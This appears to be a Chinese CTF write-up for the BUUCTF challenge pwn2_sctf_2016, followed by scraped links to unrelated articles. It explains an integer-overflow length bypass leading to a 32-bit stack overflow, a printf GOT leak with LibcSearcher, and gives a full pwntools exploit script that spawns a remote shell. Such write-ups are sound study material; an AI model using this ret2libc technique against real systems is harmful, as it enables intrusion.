32位开启了nx保护

没有看到system和‘/bin/sh’,开启了NX保护,是泄露libc类型的题目

main函数就调用了一个vuln函数
7行的输入函数不是get,是程序自定义的函数get_n

a2传入的值类型是unsigned int,而前面判断长度的类型是int,可以规避长度限制。也就是说我们这边可以输入负数来达到溢出的效果(整数溢出)

一开始输入负数,绕过长度限制,造成溢出
利用printf函数泄露程序的libc版本,去算出system和‘/bin/sh‘的地址
溢出覆盖返回地址去执行system(‘/bin/sh’)

from pwn import *from LibcSearcher import *r=remote('node4.buuoj.cn',28296)elf=ELF('./pwn2_sctf_2016')printf_plt=elf.plt['printf']printf_got=elf.got['printf']main=elf.sym['main']r.recvuntil('How many bytes do you want me to read? ')r.sendline('-1')#在get_n函数中,读入长度被强制转换为unsigned int,此时-1变成了4294967295。使得我们能够进行缓冲区溢出攻击r.recvuntil('\n')payload='a'*(0x2c+4)+p32(printf_plt)+p32(main)+p32(printf_got)r.sendline(payload)r.recvuntil('\n')printf_addr=u32(r.recv(4))libc=LibcSearcher('printf',printf_addr)#泄露libcoffset=printf_addr-libc.dump('printf')#计算system和bin/sh的地址system=offset+libc.dump('system')bin_sh=offset+libc.dump('str_bin_sh')r.recvuntil('How many bytes do you want me to read? ')r.sendline('-1')r.recvuntil('\n')payload='a'*(0x2c+4)+p32(system)+p32(main)+p32(bin_sh)#覆盖返回地址为system(‘/bin/sh’)r.sendline(payload)r.interactive()

有多个匹配的libc版本,选个合适的就行

BUUCTF-pwn2_sctf_2016(整数溢出+泄露libc)相关推荐

  1. BUUCTF(pwn)[HarekazeCTF2019]baby_rop2 泄露libc基址,rop,利用gadget

    64位,开了nx保护 运行了一下程序 buf的大小是0x20,但是读入的时候读入的是0x100,会造成溢出,我们要想办法覆盖返回地址为" system('/bin/sh') 利用read函数 ...

  2. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

  3. Android libcutils库中整数溢出导致的堆破坏漏洞的发现与利用

    作者:龚广(@oldfresher) 阅读本文之前,您最好理解Android中的Binder机制.用于图形系统的BufferQueue原理.堆管理器je_malloc的基本原理. 此文介绍了如何利用l ...

  4. CVE-2020-11945 Squid未授权整数溢出分析

     聚焦源代码安全,网罗国内外最新资讯! Squid cache(简称为Squid)是一个流行的自由软件(GNU通用公共许可证)的代理服务器和Web缓存服务器.Squid 的用途很多,可以作为网页服务器 ...

  5. CVE-2022-0185 价值$3w的 File System Context 内核整数溢出漏洞利用分析

    文章目录 1. 漏洞发现 2. 漏洞分析 3. 漏洞利用方法1-任意写篡改 `modprobe_path` 3-1 泄露内核基址 3-2 任意地址写思路 3-3 FUSE 页错误处理 3-4 完整利用 ...

  6. 殊途同归的CVE-2012-0774 TrueType字体整数溢出漏洞分析

    1. 前言 官方的漏洞通报中,关于这个漏洞的信息其实很少: Integer overflow in Adobe Reader and Acrobat 9.x before 9.5.1 and 10.x ...

  7. 转载:力扣:整数翻转(难点:整数溢出)

    (力扣)LeetCode刷题之整数反转 陈鹏 既存一息,多言无益. ​关注他 8 人赞同了该文章 给出一个 32 位的有符号整数,你需要将这个整数中每位上的数字进行反转. 示例 1: 输入: 123 ...

  8. C++两个整数的总和是否为整数溢出的算法实现(附完整源码)

    C++两个整数的总和是否为整数溢出的算法实现 C++两个整数的总和是否为整数溢出的算法实现完整源码(定义,实现,main函数测试) C++两个整数的总和是否为整数溢出的算法实现完整源码(定义,实现,m ...

  9. 语言余一个负数_C语言学习日记(8)——整数溢出

    小时候喜欢玩电子计算器,觉得很神奇,想要算什么数,立刻就能算出来.当时看着计算器的液晶屏幕就想,如果算一个很大的数,超过了屏幕上面数字的位数,会怎么样呢?试了以后结果是INF,那就是无穷大了.虽然当时 ...

最新文章

  1. 绘制多边形_PS学习教程!教你绘制低多边形星空效果熊猫头像
  2. 本地复制不能粘贴到服务上
  3. 上所说的计算机主机是什么意思,通常所说的主机指什么
  4. pythonsuper函数_认识python中的super函数
  5. Android传感器开发详解
  6. 微软 PowerBI 被评为商业智能领导者-13年的企业产品奋斗史解读
  7. jx8net一定在所有的方方面面都更坚强更勇敢了吧
  8. 我在开发中所遇到的iOS7新特性以及iOS7与iOS6的适配问题总结
  9. baum welch java_Baum Welch估计HMM参数实例
  10. QTQString(UTF8)数据转GBK
  11. 大数据分析平台搭建指南
  12. Tasker Android系统增强神器,Android系统增强神器 Tasker
  13. 三位数除以两位数竖式计算没有余数_四年级上册数学三位数除两位数练习题没有余数...
  14. OOALV进阶版:实现一个屏幕下展示多个ALV,跳转网页
  15. 【精】JAVA各大厂问题汇总-HELLO XF
  16. 微信为什么使用 SQLite 保存聊天记录
  17. [网鼎杯 2020 白虎组]PicDown(精讲)
  18. 酒吧类型与其娱乐项目设置
  19. C语言中的二分查找法
  20. 雨量水位监测站 水情监测

热门文章

  1. Spring4新特性——核心容器的其他改进
  2. ant-design如果按需加载组件
  3. 英国电信宣布2030年前碳排放削减87%
  4. 揭秘阿里人工智能实验室首款智能音箱——天猫精灵X1
  5. iOS10 UI教程层次结构的事件
  6. PHP使用feof()函数读文件的方法
  7. jQuery 仿淘宝 鼠标悬停显示大图效果
  8. 2009.11网络工程师考试案例试题学习攻略(1)
  9. 物料管理的容差范围维护
  10. 最美四门轿跑车斯柯达Coupe面世,CC也害怕。